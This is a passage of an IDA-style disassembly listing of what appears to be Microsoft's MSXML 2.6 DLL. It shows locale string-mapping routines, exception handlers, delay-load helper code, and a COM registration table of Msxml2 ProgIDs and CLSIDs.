; END OF FUNCTION CHUNK	FOR sub_69B19587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CEB6


loc_69B252D9:				; CODE XREF: sub_69B1CEB6+18j
		inc	esi
		jmp	loc_69B1CED4
; ---------------------------------------------------------------------------


loc_69B252DF:				; CODE XREF: sub_69B1CEB6+2Fj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+0Ch], esi
		mov	edi, [ebp-1Ch]
		cmp	edi, dword_69B9B78C
		ja	loc_69B1CEEB
		push	4
		call	sub_69B113FC
		pop	ecx
		and	dword ptr [ebp-4], 0
		push	edi
		call	sub_69B8604C
		pop	ecx
		mov	[ebp-20h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B25355
		mov	edx, [ebp-20h]
		test	edx, edx
		jz	loc_69B1CEEF
		mov	ecx, [ebp-1Ch]
		xor	eax, eax
		mov	edi, edx
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb
		jmp	loc_69B1CEEB
; ---------------------------------------------------------------------------


loc_69B2533B:				; CODE XREF: sub_69B1CEB6+4Cj
		cmp	dword_69B9B75C,	edx
		jz	loc_69B1CF08
		push	esi
		call	sub_69B86E3A
		jmp	loc_69B1CF10
; END OF FUNCTION CHUNK	FOR sub_69B1CEB6

; =============== S U B	R O U T	I N E =======================================



sub_69B25352	proc near		; DATA XREF: .text:69B1CF20o
		mov	esi, [ebp+0Ch]
sub_69B25352	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B25355	proc near		; CODE XREF: sub_69B1CEB6+845Bp
		push	4
		call	sub_69B1D1C5
		pop	ecx
		retn
sub_69B25355	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19C19


loc_69B2535E:				; CODE XREF: sub_69B19C19+502Cj
					; sub_69B19C19+503Fj ...
		mov	eax, offset loc_69B863A4
		mov	dword_69B95DA4,	eax
		jmp	loc_69B19C32
; END OF FUNCTION CHUNK	FOR sub_69B19C19

; =============== S U B	R O U T	I N E =======================================



sub_69B2536D	proc near		; DATA XREF: .text:69B19C54o
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-20h], eax
		xor	eax, eax
		inc	eax
		retn
sub_69B2536D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2537B	proc near		; DATA XREF: .text:69B19C58o
		mov	esp, [ebp-18h]
		cmp	dword ptr [ebp-20h], 0C0000017h
		jnz	short loc_69B2538F
		push	8		; dwErrCode
		call	ds:SetLastError


loc_69B2538F:				; CODE XREF: sub_69B2537B+Aj
		xor	eax, eax
		jmp	loc_69B19C41
sub_69B2537B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1ECB1


loc_69B25396:				; CODE XREF: sub_69B1ECB1+2Cj
		call	ds:GetLastError
		cmp	eax, 78h
		jnz	loc_69B1ECE9
		mov	dword_69B95DA8,	2
		jmp	loc_69B1ECE9
; ---------------------------------------------------------------------------


loc_69B253B4:				; CODE XREF: sub_69B1ECB1+60j
		mov	eax, dword_69B9B754
		mov	[ebp+18h], eax
		jmp	loc_69B1ED17
; END OF FUNCTION CHUNK	FOR sub_69B1ECB1

; =============== S U B	R O U T	I N E =======================================



sub_69B253C1	proc near		; DATA XREF: .text:69B1EDDCo
		xor	eax, eax
		inc	eax
		retn
sub_69B253C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B253C5	proc near		; DATA XREF: .text:69B1EDE0o
		mov	esp, [ebp-18h]
		call	sub_69B87737
		xor	esi, esi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-28h]
		jmp	loc_69B1ED79
sub_69B253C5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1ECB1


loc_69B253DB:				; CODE XREF: sub_69B1ECB1+CAj
		mov	edx, ebx
		push	2
		pop	ecx
		call	sub_69B1CE89
		mov	esi, eax
		test	esi, esi
		jz	loc_69B1EDCF
		mov	dword ptr [ebp-24h], 1
		jmp	loc_69B1ED81
; ---------------------------------------------------------------------------


loc_69B253FB:				; CODE XREF: sub_69B1ECB1+FCj
		push	esi
		call	sub_69B1D1FD
		pop	ecx
		jmp	loc_69B1EDB3
; ---------------------------------------------------------------------------


loc_69B25407:				; CODE XREF: sub_69B1ECB1+119j
		mov	edi, Locale


loc_69B2540D:				; CODE XREF: sub_69B1ECB1+113j
		mov	ebx, [ebp+18h]
		test	ebx, ebx
		jnz	short loc_69B2541A
		mov	ebx, dword_69B9B754


loc_69B2541A:				; CODE XREF: sub_69B1ECB1+6761j
		push	edi		; Locale
		call	sub_69B878AA
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	loc_69B1EDCF
		cmp	eax, ebx
		jz	short loc_69B25450
		push	0
		push	0
		lea	ecx, [ebp+10h]
		push	ecx
		push	dword ptr [ebp+0Ch]
		push	eax
		push	ebx
		call	sub_69B878DC
		add	esp, 18h
		mov	esi, eax
		test	esi, esi
		jz	loc_69B1EDCF
		mov	[ebp+0Ch], esi


loc_69B25450:				; CODE XREF: sub_69B1ECB1+677Bj
		push	dword ptr [ebp+14h] ; lpCharType
		push	dword ptr [ebp+10h] ; cchSrc
		push	dword ptr [ebp+0Ch] ; lpSrcStr
		push	dword ptr [ebp+8] ; dwInfoType
		push	edi		; Locale
		call	ds:GetStringTypeA	; GetStringTypeA
		mov	ebx, eax
		test	esi, esi
		jz	short loc_69B25470
		push	esi
		call	sub_69B1D1FD
		pop	ecx


loc_69B25470:				; CODE XREF: sub_69B1ECB1+67B6j
		mov	eax, ebx
		jmp	loc_69B1EDB6
; END OF FUNCTION CHUNK	FOR sub_69B1ECB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1AEC4


loc_69B25477:				; CODE XREF: sub_69B1AEC4+2Fj
		call	ds:GetLastError
		cmp	eax, 78h
		jnz	loc_69B1AEFF
		mov	dword_69B95DAC,	2
		jmp	loc_69B1AEFF
; ---------------------------------------------------------------------------


loc_69B25495:				; CODE XREF: sub_69B1AEC4+87j
		mov	eax, dword_69B9B754
		mov	[ebp+20h], eax
		jmp	loc_69B1AF51
; END OF FUNCTION CHUNK	FOR sub_69B1AEC4

; =============== S U B	R O U T	I N E =======================================



sub_69B254A2	proc near		; DATA XREF: .text:69B1B088o
		xor	eax, eax
		inc	eax
		retn
sub_69B254A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B254A6	proc near		; DATA XREF: .text:69B1B08Co
		mov	esp, [ebp-18h]
		call	sub_69B87737
		and	dword ptr [ebp-2Ch], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-1Ch]
		mov	esi, [ebp-28h]
		xor	ebx, ebx
		jmp	loc_69B1AFA2
sub_69B254A6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1AEC4


loc_69B254C3:				; CODE XREF: sub_69B1AEC4+E1j
		lea	ecx, [esi+esi]
		call	sub_69B19560
		mov	[ebp-2Ch], eax
		cmp	eax, ebx
		jz	loc_69B1B06D
		mov	dword ptr [ebp-20h], 1
		jmp	loc_69B1AFAB
; ---------------------------------------------------------------------------


loc_69B254E2:				; CODE XREF: sub_69B1AEC4+123j
		cmp	[ebp+1Ch], ebx
		jz	loc_69B1B050
		cmp	edi, [ebp+1Ch]
		jg	loc_69B1B050
		push	dword ptr [ebp+1Ch] ; cchDest
		push	dword ptr [ebp+18h] ; lpDestStr
		push	esi		; cchSrc
		push	dword ptr [ebp-2Ch] ; lpSrcStr
		push	dword ptr [ebp+0Ch] ; dwMapFlags
		push	dword ptr [ebp+8] ; Locale
		call	ds:LCMapStringW	; LCMapStringW
		jmp	loc_69B1B050
; END OF FUNCTION CHUNK	FOR sub_69B1AEC4

; =============== S U B	R O U T	I N E =======================================



sub_69B2550F	proc near		; DATA XREF: .text:69B1B094o
		xor	eax, eax
		inc	eax
		retn
sub_69B2550F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B25513	proc near		; DATA XREF: .text:69B1B098o
		mov	esp, [ebp-18h]
		call	sub_69B87737
		and	dword ptr [ebp-30h], 0
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp-1Ch]
		mov	esi, [ebp-28h]
		xor	ebx, ebx
		jmp	loc_69B1B00E
sub_69B25513	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1AEC4


loc_69B25530:				; CODE XREF: sub_69B1AEC4+14Dj
		lea	ecx, [edi+edi]
		call	sub_69B19560
		mov	[ebp-30h], eax
		cmp	eax, ebx
		jz	loc_69B1B050
		mov	dword ptr [ebp-24h], 1
		jmp	loc_69B1B017
; ---------------------------------------------------------------------------


loc_69B2554F:				; CODE XREF: sub_69B1AEC4+170j
		push	ebx
		push	ebx
		jmp	loc_69B1B040
; ---------------------------------------------------------------------------


loc_69B25556:				; CODE XREF: sub_69B1AEC4+18Fj
		push	dword ptr [ebp-30h]
		call	sub_69B1D1FD
		pop	ecx
		jmp	loc_69B1B059
; ---------------------------------------------------------------------------


loc_69B25564:				; CODE XREF: sub_69B1AEC4+198j
		push	dword ptr [ebp-2Ch]
		call	sub_69B1D1FD
		pop	ecx
		jmp	loc_69B1B062
; ---------------------------------------------------------------------------


loc_69B25572:				; CODE XREF: sub_69B1AEC4+64j
					; sub_69B1AEC4+6Cj
		mov	[ebp-34h], edi
		xor	ebx, ebx
		mov	[ebp-38h], edi
		cmp	[ebp+8], edi
		jnz	short loc_69B25587
		mov	eax, Locale
		mov	[ebp+8], eax


loc_69B25587:				; CODE XREF: sub_69B1AEC4+A6B9j
		cmp	[ebp+20h], edi
		jnz	short loc_69B25594
		mov	eax, dword_69B9B754
		mov	[ebp+20h], eax


loc_69B25594:				; CODE XREF: sub_69B1AEC4+A6C6j
		push	dword ptr [ebp+8] ; Locale
		call	sub_69B878AA
		pop	ecx
		mov	[ebp-3Ch], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_69B1B06D
		cmp	eax, [ebp+20h]
		jz	loc_69B256AF
		push	edi
		push	edi
		lea	ecx, [ebp+14h]
		push	ecx
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+20h]
		call	sub_69B878DC
		add	esp, 18h
		mov	[ebp-34h], eax
		cmp	eax, edi
		jz	loc_69B1B06D
		push	edi		; cchDest
		push	edi		; lpDestStr
		push	dword ptr [ebp+14h] ; cchSrc
		push	eax		; lpSrcStr
		push	dword ptr [ebp+0Ch] ; dwMapFlags
		push	dword ptr [ebp+8] ; Locale
		call	ds:LCMapStringA	; LCMapStringA
		mov	esi, eax
		mov	[ebp-40h], esi
		test	esi, esi
		jz	loc_69B2567B
		and	dword ptr [ebp-4], 0
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_69B1B09C
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-44h], ebx
		mov	ecx, esi
		xor	eax, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		jmp	short loc_69B2562C
; END OF FUNCTION CHUNK	FOR sub_69B1AEC4

; =============== S U B	R O U T	I N E =======================================



sub_69B2561E	proc near		; DATA XREF: .text:69B1B07Co
		xor	eax, eax
		inc	eax
		retn
sub_69B2561E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B25622	proc near		; DATA XREF: .text:69B1B080o
		mov	esp, [ebp-18h]
		call	sub_69B87737
		xor	ebx, ebx
sub_69B25622	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_69B1AEC4


loc_69B2562C:				; CODE XREF: sub_69B1AEC4+A758j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	ebx, ebx
		jnz	short loc_69B2565E
		mov	ecx, [ebp-40h]
		call	sub_69B19560
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B2567B
		mov	ecx, [ebp-40h]
		xor	eax, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	dword ptr [ebp-38h], 1


loc_69B2565E:				; CODE XREF: sub_69B1AEC4+A76Ej
		push	dword ptr [ebp-40h] ; cchDest
		push	ebx		; lpDestStr
		push	dword ptr [ebp+14h] ; cchSrc
		push	dword ptr [ebp-34h] ; lpSrcStr
		push	dword ptr [ebp+0Ch] ; dwMapFlags
		push	dword ptr [ebp+8] ; Locale
		call	ds:LCMapStringA	; LCMapStringA
		mov	[ebp-40h], eax
		test	eax, eax
		jnz	short loc_69B2567F


loc_69B2567B:				; CODE XREF: sub_69B1AEC4+A727j
					; sub_69B1AEC4+A77Cj
		xor	esi, esi
		jmp	short loc_69B256A0
; ---------------------------------------------------------------------------


loc_69B2567F:				; CODE XREF: sub_69B1AEC4+A7B5j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-40h]
		push	eax
		push	ebx
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-3Ch]
		call	sub_69B878DC
		add	esp, 18h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi


loc_69B256A0:				; CODE XREF: sub_69B1AEC4+A7B9j
		cmp	dword ptr [ebp-38h], 0
		jz	short loc_69B256C9
		push	ebx
		call	sub_69B1D1FD
		pop	ecx
		jmp	short loc_69B256C9
; ---------------------------------------------------------------------------


loc_69B256AF:				; CODE XREF: sub_69B1AEC4+A6E8j
		push	dword ptr [ebp+1Ch] ; cchDest
		push	dword ptr [ebp+18h] ; lpDestStr
		push	dword ptr [ebp+14h] ; cchSrc
		push	dword ptr [ebp+10h] ; lpSrcStr
		push	dword ptr [ebp+0Ch] ; dwMapFlags
		push	dword ptr [ebp+8] ; Locale
		call	ds:LCMapStringA	; LCMapStringA
		mov	esi, eax


loc_69B256C9:				; CODE XREF: sub_69B1AEC4+A7E0j
					; sub_69B1AEC4+A7E9j
		cmp	dword ptr [ebp-34h], 0
		jz	short loc_69B256D8
		push	dword ptr [ebp-34h]
		call	sub_69B1D1FD
		pop	ecx


loc_69B256D8:				; CODE XREF: sub_69B1AEC4+A809j
		mov	eax, esi
		jmp	loc_69B1B064
; END OF FUNCTION CHUNK	FOR sub_69B1AEC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B18E54


loc_69B256DF:				; CODE XREF: sub_69B18E54+8j
		add	ecx, 8
		mov	[eax], ecx
		mov	eax, ecx
		jmp	loc_69B18E6E
; END OF FUNCTION CHUNK	FOR sub_69B18E54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1906C


loc_69B256EB:				; CODE XREF: sub_69B1906C+7j
		push	offset aExtraCallToRel ; "Extra	call to	Release() !!!\n"
		call	ds:SHLWAPI_115
		call	ds:DebugBreak	; DebugBreak
		jmp	loc_69B19079
; ---------------------------------------------------------------------------


loc_69B25701:				; CODE XREF: sub_69B1906C+11j
		add	eax, 0FFFFFFF8h
		mov	[esi], eax
		jmp	loc_69B1908F
; END OF FUNCTION CHUNK	FOR sub_69B1906C
; ---------------------------------------------------------------------------
		align 4
aExtraCallToRel:			; DATA XREF: sub_69B1906C:loc_69B256EBo
		unicode	0, <Extra call to Release() !!!>
		dw 0Ah
		unicode	0, <>,0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B19038


loc_69B25746:				; CODE XREF: sub_69B19038+1848j
		mov	eax, 80004005h
		jmp	loc_69B19059
; END OF FUNCTION CHUNK	FOR sub_69B19038

; =============== S U B	R O U T	I N E =======================================



sub_69B25750	proc near		; DATA XREF: .text:69B19064o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
sub_69B25750	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B25759	proc near		; DATA XREF: .text:69B19068o
		mov	esp, [ebp-18h]
		jmp	loc_69B1A8AD
sub_69B25759	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1D842


loc_69B25761:				; CODE XREF: sub_69B1D842+3Aj
		mov	esi, [ebx+14h]
		mov	edi, ebp
		rep movsd
		mov	esi, [esp+10h+arg_0]
		jmp	loc_69B1D882
; END OF FUNCTION CHUNK	FOR sub_69B1D842
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1D7F6


loc_69B25771:				; CODE XREF: sub_69B1D7F6+9j
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_69B1D7F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1AA33


loc_69B25774:				; CODE XREF: sub_69B1AA33+7Ej
		lea	eax, [ebp+var_48]
		mov	[ebp+Arguments], eax
		lea	eax, [ebp+Arguments]
		push	eax		; lpArguments
		push	1		; nNumberOfArguments
		push	ebx		; dwExceptionFlags
		push	0C06D0057h	; dwExceptionCode
		call	ds:RaiseException	; RaiseException
		xor	eax, eax
		jmp	loc_69B1AB93
; ---------------------------------------------------------------------------


loc_69B25793:				; CODE XREF: sub_69B1AA33+CAj
		lea	ecx, [ebp+var_48]
		push	ecx
		push	ebx
		call	eax ; dword_69B95DB4
		mov	edi, eax
		cmp	edi, ebx
		jnz	loc_69B1AB84
		jmp	loc_69B1AB03
; ---------------------------------------------------------------------------


loc_69B257A9:				; CODE XREF: sub_69B1AA33+DCj
		lea	ecx, [ebp+var_48]
		push	ecx
		push	1
		call	eax ; dword_69B95DB4
		jmp	loc_69B1ABA6
; ---------------------------------------------------------------------------


loc_69B257B6:				; CODE XREF: sub_69B1AA33+F0j
		call	ds:GetLastError
		mov	[ebp+var_28], eax
		mov	eax, off_69B96380
		cmp	eax, ebx
		jz	short loc_69B257DB
		lea	ecx, [ebp+var_48]
		push	ecx
		push	3
		call	eax ; sub_69B55F23
		cmp	eax, ebx
		mov	[ebp+hModule], eax
		jnz	loc_69B1AB29


loc_69B257DB:				; CODE XREF: sub_69B1AA33+AD93j
		lea	eax, [ebp+var_48]
		mov	[ebp+Arguments], eax
		lea	eax, [ebp+Arguments]
		push	eax		; lpArguments
		push	1		; nNumberOfArguments
		push	ebx		; dwExceptionFlags
		push	0C06D007Eh	; dwExceptionCode
		call	ds:RaiseException	; RaiseException
		mov	eax, [ebp+var_2C]
		jmp	loc_69B1AB93
; ---------------------------------------------------------------------------


loc_69B257FB:				; CODE XREF: sub_69B1AA33+10Aj
		push	8		; uBytes
		call	sub_69B900C5
		cmp	eax, ebx
		pop	ecx
		jz	loc_69B1AB43
		push	esi
		mov	ecx, eax
		call	sub_69B900D2
		jmp	loc_69B1AB43
; ---------------------------------------------------------------------------


loc_69B25818:				; CODE XREF: sub_69B1AA33+11Dj
		lea	ecx, [ebp+var_48]
		push	ecx
		push	2
		call	eax ; dword_69B95DB4
		mov	edi, eax
		jmp	loc_69B1AB56
; ---------------------------------------------------------------------------


loc_69B25827:				; CODE XREF: sub_69B1AA33+12Fj
		mov	ecx, [ebp+hModule]
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	loc_69B1AB6B
		mov	edx, [ebp+var_8]
		cmp	[eax+8], edx
		jnz	loc_69B1AB6B
		cmp	ecx, [eax+34h]
		jnz	loc_69B1AB6B
		mov	edi, [ebp+var_18]
		push	edi
		call	sub_69B900B3
		mov	esi, [ebp+var_10]
		pop	ecx
		mov	ecx, eax
		shl	ecx, 2
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_18]
		mov	edi, [eax+ecx]
		jmp	loc_69B1AB84
; ---------------------------------------------------------------------------


loc_69B2587E:				; CODE XREF: sub_69B1AA33+146j
		call	ds:GetLastError
		mov	[ebp+var_28], eax
		mov	eax, off_69B96380
		cmp	eax, ebx
		jz	short loc_69B2589A
		lea	ecx, [ebp+var_48]
		push	ecx
		push	4
		call	eax ; sub_69B55F23
		mov	edi, eax


loc_69B2589A:				; CODE XREF: sub_69B1AA33+AE5Bj
		cmp	edi, ebx
		jnz	loc_69B1AB7F
		lea	eax, [ebp+var_48]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax		; lpArguments
		push	1		; nNumberOfArguments
		push	ebx		; dwExceptionFlags
		push	0C06D007Fh	; dwExceptionCode
		call	ds:RaiseException	; RaiseException
		mov	edi, [ebp+var_2C]
		jmp	loc_69B1AB7F
; ---------------------------------------------------------------------------


loc_69B258C2:				; CODE XREF: sub_69B1AA33+158j
		mov	ecx, [ebp+hModule]
		mov	[ebp+var_30], ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	5
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		call	eax ; dword_69B95DB4
		jmp	loc_69B1AB91
; END OF FUNCTION CHUNK	FOR sub_69B1AA33
; ---------------------------------------------------------------------------
		align 10h
dword_69B258E0	dd 0							; DllUnregisterServer:loc_69B2C33Dr
dword_69B258E4	dd 0							; DllUnregisterServer+101r
off_69B258E8	dd offset dword_69B25C40 ; DATA	XREF: DllRegisterServer:loc_69B2C1D8r
off_69B258EC	dd offset aUnreg	; DATA XREF: DllUnregisterServer:loc_69B2C3D5r
					; "Unreg"
		dd offset aMsxml2	; "Msxml2"
		dd offset aMsxml2	; "Msxml2"
		dd offset aRegmsxml	; "Regmsxml"
		dd offset aUnregmsxml	; "Unregmsxml"
		dd offset aMsxml2_domdocu ; "Msxml2.DOMDocument\\CurVer"
		dd offset aMsxml2_domdo_0 ; "Msxml2.DOMDocument.2.6"
		dd offset aRegdomdoc	; "Regdomdoc"
		dd offset aUnregdomdoc	; "Unregdomdoc"
		dd offset aMsxml2_freethr ; "Msxml2.FreeThreadedDOMDocument\\CurVer"
		dd offset aMsxml2_freet_0 ; "Msxml2.FreeThreadedDOM.2.6"
		dd offset aRegfreedom	; "Regfreedom"
		dd offset aUnregfreedom	; "Unregfreedom"
		dd offset aMsxml2_xmlpars ; "Msxml2.XMLParser\\CurVer"
		dd offset aMsxml2_xmlpa_0 ; "Msxml2.XMLParser.2.6"
		dd offset aRegxmlparser	; "Regxmlparser"
		dd offset aUnregxmlparser ; "Unregxmlparser"
		dd offset aMsxml2_dsocont ; "Msxml2.DSOControl\\CurVer"
		dd offset aMsxml2_dsoco_0 ; "Msxml2.DSOControl.2.6"
		dd offset aRegxmldso	; "Regxmldso"
		dd offset aUnregxmldso	; "Unregxmldso"
		dd offset aMsxml2_xmlhttp ; "Msxml2.XMLHTTP\\CurVer"
		dd offset aMsxml2_xmlht_0 ; "Msxml2.XMLHTTP.2.6"
		dd offset aRegxmlhttp	; "Regxmlhttp"
		dd offset aUnregxmlhttp	; "Unregxmlhttp"
		dd offset aMsxml2_xmlsche ; "Msxml2.XMLSchemaCache\\CurVer"
		dd offset aMsxml2_xmlsc_0 ; "Msxml2.XMLSchemaCache.2.6"
		dd offset aRegscache	; "Regscache"
		dd offset aUnregscache	; "Unregscache"
		dd offset aMsxml2_xsltemp ; "Msxml2.XSLTemplate\\CurVer"
		dd offset aMsxml2_xslte_0 ; "Msxml2.XSLTemplate.2.6"
		dd offset aRegxsltemplate ; "Regxsltemplate"
		dd offset aUnregxsltempla ; "Unregxsltemplate"
		dd offset aMsxml2_xslpatt ; "Msxml2.XSLPatternFactory\\CurVer"
		dd offset aMsxml2_xslpa_0 ; "Msxml2.XSLPatternFactory.2.6"
		dd offset aRegpfactory	; "Regpfactory"
		dd offset aUnregpfactory ; "Unregpfactory"
aUnregpfactory	db 'Unregpfactory',0    ; DATA XREF: .text:69B2597Co
		align 10h
aRegpfactory	db 'Regpfactory',0      ; DATA XREF: .text:69B25978o
aMsxml2_xslpa_0	db 'Msxml2.XSLPatternFactory.2.6',0 ; DATA XREF: .text:69B25974o
		align 4
aMsxml2_xslpatt	db 'Msxml2.XSLPatternFactory\CurVer',0 ; DATA XREF: .text:69B25970o
					; .text:69B2B7ACo
aUnregxsltempla	db 'Unregxsltemplate',0 ; DATA XREF: .text:69B2596Co
		align 10h
aRegxsltemplate	db 'Regxsltemplate',0   ; DATA XREF: .text:69B25968o
		align 10h
aMsxml2_xslte_0	db 'Msxml2.XSLTemplate.2.6',0 ; DATA XREF: .text:69B25964o
		align 4
aMsxml2_xsltemp	db 'Msxml2.XSLTemplate\CurVer',0 ; DATA XREF: .text:69B25960o
					; .text:69B2B7B8o
		align 4
aUnregscache	db 'Unregscache',0      ; DATA XREF: .text:69B2595Co
aRegscache	db 'Regscache',0        ; DATA XREF: .text:69B25958o
		align 4
aMsxml2_xmlsc_0	db 'Msxml2.XMLSchemaCache.2.6',0 ; DATA XREF: .text:69B25954o
		align 4
aMsxml2_xmlsche	db 'Msxml2.XMLSchemaCache\CurVer',0 ; DATA XREF: .text:69B25950o
					; .text:69B2B7A0o
		align 4
aUnregxmlhttp	db 'Unregxmlhttp',0     ; DATA XREF: .text:69B2594Co
		align 4
aRegxmlhttp	db 'Regxmlhttp',0       ; DATA XREF: .text:69B25948o
		align 4
aMsxml2_xmlht_0	db 'Msxml2.XMLHTTP.2.6',0 ; DATA XREF: .text:69B25944o
		align 4
aMsxml2_xmlhttp	db 'Msxml2.XMLHTTP\CurVer',0 ; DATA XREF: .text:69B25940o
					; .text:69B2B788o
		align 10h
aUnregxmldso	db 'Unregxmldso',0      ; DATA XREF: .text:69B2593Co
aRegxmldso	db 'Regxmldso',0        ; DATA XREF: .text:69B25938o
		align 4
aMsxml2_dsoco_0	db 'Msxml2.DSOControl.2.6',0 ; DATA XREF: .text:69B25934o
		align 10h
aMsxml2_dsocont	db 'Msxml2.DSOControl\CurVer',0 ; DATA XREF: .text:69B25930o
					; .text:69B2B770o
		align 4
aUnregxmlparser	db 'Unregxmlparser',0   ; DATA XREF: .text:69B2592Co
		align 4
aRegxmlparser	db 'Regxmlparser',0     ; DATA XREF: .text:69B25928o
		align 4
aMsxml2_xmlpa_0	db 'Msxml2.XMLParser.2.6',0 ; DATA XREF: .text:69B25924o
		align 4
aMsxml2_xmlpars	db 'Msxml2.XMLParser\CurVer',0 ; DATA XREF: .text:69B25920o
					; .text:69B2B794o
aUnregfreedom	db 'Unregfreedom',0     ; DATA XREF: .text:69B2591Co
		align 4
aRegfreedom	db 'Regfreedom',0       ; DATA XREF: .text:69B25918o
		align 4
aMsxml2_freet_0	db 'Msxml2.FreeThreadedDOM.2.6',0 ; DATA XREF: .text:69B25914o
		align 4
aMsxml2_freethr	db 'Msxml2.FreeThreadedDOMDocument\CurVer',0 ; DATA XREF: .text:69B25910o
					; .text:69B2B77Co
		align 4
aUnregdomdoc	db 'Unregdomdoc',0      ; DATA XREF: .text:69B2590Co
aRegdomdoc	db 'Regdomdoc',0        ; DATA XREF: .text:69B25908o
		align 4
aMsxml2_domdo_0	db 'Msxml2.DOMDocument.2.6',0 ; DATA XREF: .text:69B25904o
		align 4
aMsxml2_domdocu	db 'Msxml2.DOMDocument\CurVer',0 ; DATA XREF: .text:69B25900o
					; .text:69B2B764o
		align 4
aUnregmsxml	db 'Unregmsxml',0       ; DATA XREF: .text:69B258FCo
		align 4
aRegmsxml	db 'Regmsxml',0         ; DATA XREF: .text:69B258F8o
		align 10h
aMsxml2		db 'Msxml2',0           ; DATA XREF: .text:69B258F0o
					; .text:69B258F4o
		align 4
aUnreg		db 'Unreg',0            ; DATA XREF: .text:off_69B258ECo
		align 10h
dword_69B25C40	dd 676552h	; const	CHAR byte_69B25C44
byte_69B25C44	db 0			; DATA XREF: sub_69B2B23E+41o
					; sub_69B2B4A9+1CBo ...
		align 4
; char aClsid2933bf9_1[]
aClsid2933bf9_1	db 'CLSID\{2933BF90-7B36-11d2-B20E-00C04F983E60}\SideBySide',0
					; DATA XREF: sub_69B2BCC2+1Co
					; sub_69B2BCF6+9o ...
; char aRegversion[]
aRegversion	db 'RegVersion',0       ; DATA XREF: sub_69B2BCC2+17o
					; sub_69B2BCF6+4o
		align 4
; char phkResult[]
phkResult	db 'CLSID\{2933BF90-7B36-11d2-B20E-00C04F983E60}',0
					; DATA XREF: sub_69B2BCC2+4o
					; sub_69B2BE45+FBo ...
		align 4
; char aVersion26refco[]
aVersion26refco	db 'Version26RefCount',0 ; DATA XREF: sub_69B2BD11+D0o
					; sub_69B2BD11+110o ...
		align 10h
; char aRefcount[]
aRefcount	db 'RefCount',0         ; DATA XREF: sub_69B2BD11+3Bo
					; sub_69B2BD11+85o ...
		align 4
; char String1[]
String1		dd 362E32h		; DATA XREF: DllRegisterServer+11o
					; DllUnregisterServer+12o
dword_69B25CE0	dd 2Fh							; .text:69B61DC8o
dword_69B25CE4	dd 948C5AD3h, 11D0C58Dh, 0C0000B9Ch, 8E9CC94Fh
					; DATA XREF: sub_69B1C12C:loc_69B1EFCEo
					; sub_69B440F8+7o
dword_69B25CF4	dd 0ED8C108Dh, 11D24349h, 0C000A491h, 0E869794Fh
					; DATA XREF: .data:off_69B9A9C4o
dword_69B25D04	dd 3EFAA427h, 11D2272Fh, 6F83h,	82777AF8h					; sub_69B5CF03+1o ...
dword_69B25D14	dd 2933BF92h, 11D27B36h, 0C0000EB2h, 603E984Fh,	2933BF93h
					; DATA XREF: .data:off_69B99284o
		dd 11D27B36h, 0C0000EB2h, 603E984Fh
dword_69B25D34	dd 3EFAA425h, 11D2272Fh, 6F83h,	82777AF8h, 3EFAA426h, 11D2272Fh
					; DATA XREF: .data:off_69B9A868o
		dd 6F83h, 82777AF8h
